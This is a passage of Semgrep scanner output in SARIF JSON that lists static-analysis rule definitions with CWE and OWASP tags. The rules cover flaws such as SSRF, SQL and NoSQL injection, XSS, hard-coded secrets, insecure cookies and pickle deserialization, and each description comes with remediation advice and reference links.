environment."},"helpUri":"https://semgrep.dev/r/python.flask.debug.debug-flask-passthrough-errors.debug-flask-passthrough-errors","id":"python.flask.debug.debug-flask-passthrough-errors.debug-flask-passthrough-errors","name":"python.flask.debug.debug-flask-passthrough-errors.debug-flask-passthrough-errors","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.debug.debug-flask-passthrough-errors.debug-flask-passthrough-errors"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-ssrf.tainted-ssrf)\n - [https://cwe.mitre.org/data/definitions/918.html](https://cwe.mitre.org/data/definitions/918.html)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fauth~2Fssrf~2Fgeneric](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fauth~2Fssrf~2Fgeneric)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-ssrf.tainted-ssrf","id":"java.servlets.security.tainted-ssrf.tainted-ssrf","name":"java.servlets.security.tainted-ssrf.tainted-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-ssrf.tainted-ssrf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"multiprocessing.Process.kill() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use terminate()."},"help":{"markdown":"multiprocessing.Process.kill() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use terminate().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-multiprocess2)\n","text":"multiprocessing.Process.kill() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use terminate()."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-multiprocess2","id":"python.lang.compatibility.python37.python37-compatibility-multiprocess2","name":"python.lang.compatibility.python37.python37-compatibility-multiprocess2","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-multiprocess2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Functions reliant on pickle can result in arbitrary code execution.  Consider loading from `state_dict`, using fickling, or switching to a safer serialization method like ONNX"},"help":{"markdown":"Functions reliant on pickle can result in arbitrary code execution.  Consider loading from `state_dict`, using fickling, or switching to a safer serialization method like ONNX\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.pickles-in-pytorch.pickles-in-pytorch)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n","text":"Functions reliant on pickle can result in arbitrary code execution.  Consider loading from `state_dict`, using fickling, or switching to a safer serialization method like ONNX"},"helpUri":"https://semgrep.dev/r/trailofbits.python.pickles-in-pytorch.pickles-in-pytorch","id":"trailofbits.python.pickles-in-pytorch.pickles-in-pytorch","name":"trailofbits.python.pickles-in-pytorch.pickles-in-pytorch","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.pickles-in-pytorch.pickles-in-pytorch"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Session key based on user input risks session poisoning. The user can determine the key used for the session, and thus write any session variable. Session variables are typically trusted to be set only by the application, and manipulating the session can result in access control issues."},"help":{"markdown":"Session key based on user input risks session poisoning. The user can determine the key used for the session, and thus write any session variable. Session variables are typically trusted to be set only by the application, and manipulating the session can result in access control issues.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-session.tainted-session)\n - [https://en.wikipedia.org/wiki/Session_poisoning](https://en.wikipedia.org/wiki/Session_poisoning)\n","text":"Session key based on user input risks session poisoning. The user can determine the key used for the session, and thus write any session variable. Session variables are typically trusted to be set only by the application, and manipulating the session can result in access control issues."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-session.tainted-session","id":"php.lang.security.injection.tainted-session.tainted-session","name":"php.lang.security.injection.tainted-session.tainted-session","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-session.tainted-session"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.jdbc-sqli.jdbc-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.jdbc-sqli.jdbc-sqli","id":"java.lang.security.audit.sqli.jdbc-sqli.jdbc-sqli","name":"java.lang.security.audit.sqli.jdbc-sqli.jdbc-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.jdbc-sqli.jdbc-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Variable `$X` is likely modified and later used on error. In some cases this could result  in panics due to a nil dereference"},"help":{"markdown":"Variable `$X` is likely modified and later used on error. In some cases this could result  in panics due to a nil dereference\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.invalid-usage-of-modified-variable.invalid-usage-of-modified-variable)\n - [https://blog.trailofbits.com/2019/11/07/attacking-go-vr-ttps/](https://blog.trailofbits.com/2019/11/07/attacking-go-vr-ttps/)\n","text":"Variable `$X` is likely modified and later used on error. In some cases this could result  in panics due to a nil dereference"},"helpUri":"https://semgrep.dev/r/trailofbits.go.invalid-usage-of-modified-variable.invalid-usage-of-modified-variable","id":"trailofbits.go.invalid-usage-of-modified-variable.invalid-usage-of-modified-variable","name":"trailofbits.go.invalid-usage-of-modified-variable.invalid-usage-of-modified-variable","properties":{"precision":"very-high","tags":["CWE-665: Improper Initialization","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.invalid-usage-of-modified-variable.invalid-usage-of-modified-variable"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The protocol scheme for this proxy is dynamically determined. This can be dangerous if the scheme can be injected by an attacker because it may forcibly alter the connection scheme. Consider hardcoding a scheme for this proxy."},"help":{"markdown":"The protocol scheme for this proxy is dynamically determined. This can be dangerous if the scheme can be injected by an attacker because it may forcibly alter the connection scheme. Consider hardcoding a scheme for this proxy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.dynamic-proxy-scheme.dynamic-proxy-scheme)\n - [https://github.com/yandex/gixy/blob/master/docs/en/plugins/ssrf.md](https://github.com/yandex/gixy/blob/master/docs/en/plugins/ssrf.md)\n","text":"The protocol scheme for this proxy is dynamically determined. This can be dangerous if the scheme can be injected by an attacker because it may forcibly alter the connection scheme. Consider hardcoding a scheme for this proxy."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.dynamic-proxy-scheme.dynamic-proxy-scheme","id":"generic.nginx.security.dynamic-proxy-scheme.dynamic-proxy-scheme","name":"generic.nginx.security.dynamic-proxy-scheme.dynamic-proxy-scheme","properties":{"precision":"very-high","tags":["CWE-16: CWE CATEGORY: Configuration","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.dynamic-proxy-scheme.dynamic-proxy-scheme"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm.insecure-hash-algorithm-sha1)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm.insecure-hash-algorithm-sha1","id":"python.pycryptodome.security.insecure-hash-algorithm.insecure-hash-algorithm-sha1","name":"python.pycryptodome.security.insecure-hash-algorithm.insecure-hash-algorithm-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-hash-algorithm.insecure-hash-algorithm-sha1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.nosql.mongodb-taint.mongodb-taint)\n - [https://docs.rs/mongodb/latest/mongodb/](https://docs.rs/mongodb/latest/mongodb/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/rust.rocket.nosql.mongodb-taint.mongodb-taint","id":"rust.rocket.nosql.mongodb-taint.mongodb-taint","name":"rust.rocket.nosql.mongodb-taint.mongodb-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.nosql.mongodb-taint.mongodb-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"An expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"help":{"markdown":"An expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.el-injection.el-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"An expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.el-injection.el-injection","id":"java.lang.security.audit.el-injection.el-injection","name":"java.lang.security.audit.el-injection.el-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.el-injection.el-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. You can use the OWASP ESAPI encoder if you must render user data."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. You can use the OWASP ESAPI encoder if you must render user data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-html-string.tainted-html-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. You can use the OWASP ESAPI encoder if you must render user data."},"helpUri":"https://semgrep.dev/r/java.spring.security.injection.tainted-html-string.tainted-html-string","id":"java.spring.security.injection.tainted-html-string.tainted-html-string","name":"java.spring.security.injection.tainted-html-string.tainted-html-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.injection.tainted-html-string.tainted-html-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pg8000.python-pg8000-hardcoded-secret.python-pg8000-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.pg8000.python-pg8000-hardcoded-secret.python-pg8000-hardcoded-secret","id":"python.pg8000.python-pg8000-hardcoded-secret.python-pg8000-hardcoded-secret","name":"python.pg8000.python-pg8000-hardcoded-secret.python-pg8000-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pg8000.python-pg8000-hardcoded-secret.python-pg8000-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jedis.secrets.jedis-jedisfactory-hardcoded-password.jedis-jedisfactory-hardcoded-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jedis.secrets.jedis-jedisfactory-hardcoded-password.jedis-jedisfactory-hardcoded-password","id":"java.jedis.secrets.jedis-jedisfactory-hardcoded-password.jedis-jedisfactory-hardcoded-password","name":"java.jedis.secrets.jedis-jedisfactory-hardcoded-password.jedis-jedisfactory-hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jedis.secrets.jedis-jedisfactory-hardcoded-password.jedis-jedisfactory-hardcoded-password"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-secure-false.fastapi-cookie-secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-secure-false.fastapi-cookie-secure-false","id":"python.fastapi.web.fastapi-cookie-secure-false.fastapi-cookie-secure-false","name":"python.fastapi.web.fastapi-cookie-secure-false.fastapi-cookie-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.fastapi-cookie-secure-false.fastapi-cookie-secure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.pg.express-pg-sqli.express-pg-sqli)\n - [https://www.npmjs.com/package/pg](https://www.npmjs.com/package/pg)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.pg.express-pg-sqli.express-pg-sqli","id":"javascript.express.pg.express-pg-sqli.express-pg-sqli","name":"javascript.express.pg.express-pg-sqli.express-pg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.pg.express-pg-sqli.express-pg-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"$VAR.getRate() call on a Balancer pool is not protected from the read-only reentrancy."},"help":{"markdown":"$VAR.getRate() call on a Balancer pool is not protected from the read-only reentrancy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.balancer-readonly-reentrancy-getrate.balancer-readonly-reentrancy-getrate)\n - [https://forum.balancer.fi/t/reentrancy-vulnerability-scope-expanded/4345](https://forum.balancer.fi/t/reentrancy-vulnerability-scope-expanded/4345)\n","text":"$VAR.getRate() call on a Balancer pool is not protected from the read-only reentrancy."},"helpUri":"https://semgrep.dev/r/solidity.security.balancer-readonly-reentrancy-getrate.balancer-readonly-reentrancy-getrate","id":"solidity.security.balancer-readonly-reentrancy-getrate.balancer-readonly-reentrancy-getrate","name":"solidity.security.balancer-readonly-reentrancy-getrate.balancer-readonly-reentrancy-getrate","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.balancer-readonly-reentrancy-getrate.balancer-readonly-reentrancy-getrate"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a Context with autoescape disabled. If you are rendering any web pages, this exposes your application to cross-site scripting (XSS) vulnerabilities. Remove 'autoescape: False' or set it to 'True'."},"help":{"markdown":"Detected a Context with autoescape disabled. If you are rendering any web pages, this exposes your application to cross-site scripting (XSS) vulnerabilities. Remove 'autoescape: False' or set it to 'True'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.context-autoescape-off.context-autoescape-off)\n - [https://docs.djangoproject.com/en/3.1/ref/settings/#templates](https://docs.djangoproject.com/en/3.1/ref/settings/#templates)\n - [https://docs.djangoproject.com/en/3.1/topics/templates/#django.template.backends.django.DjangoTemplates](https://docs.djangoproject.com/en/3.1/topics/templates/#django.template.backends.django.DjangoTemplates)\n","text":"Detected a Context with autoescape disabled. If you are rendering any web pages, this exposes your application to cross-site scripting (XSS) vulnerabilities. Remove 'autoescape: False' or set it to 'True'."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.context-autoescape-off.context-autoescape-off","id":"python.django.security.audit.xss.context-autoescape-off.context-autoescape-off","name":"python.django.security.audit.xss.context-autoescape-off.context-autoescape-off","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.context-autoescape-off.context-autoescape-off"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Pod may use the node network namespace. This gives the pod access to the loopback device, services listening on localhost, and could be used to snoop on network activity of other pods on the same node. Remove the 'hostNetwork' key to disable this functionality."},"help":{"markdown":"Pod may use the node network namespace. This gives the pod access to the loopback device, services listening on localhost, and could be used to snoop on network activity of other pods on the same node. Remove the 'hostNetwork' key to disable this functionality.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.hostnetwork-pod.hostnetwork-pod)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#host-namespaces](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#host-namespaces)\n","text":"Pod may use the node network namespace. This gives the pod access to the loopback device, services listening on localhost, and could be used to snoop on network activity of other pods on the same node. Remove the 'hostNetwork' key to disable this functionality."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.hostnetwork-pod.hostnetwork-pod","id":"yaml.kubernetes.security.hostnetwork-pod.hostnetwork-pod","name":"yaml.kubernetes.security.hostnetwork-pod.hostnetwork-pod","properties":{"precision":"very-high","tags":["CWE-406: Insufficient Control of Network Message Volume (Network Amplification)","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.hostnetwork-pod.hostnetwork-pod"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `wkhtmltopdf` it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `wkhtmltopdf` it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.wkhtmltopdf.security.audit.wkhtmltopdf-injection.wkhtmltopdf-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `wkhtmltopdf` it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.wkhtmltopdf.security.audit.wkhtmltopdf-injection.wkhtmltopdf-injection","id":"javascript.wkhtmltopdf.security.audit.wkhtmltopdf-injection.wkhtmltopdf-injection","name":"javascript.wkhtmltopdf.security.audit.wkhtmltopdf-injection.wkhtmltopdf-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.wkhtmltopdf.security.audit.wkhtmltopdf-injection.wkhtmltopdf-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, 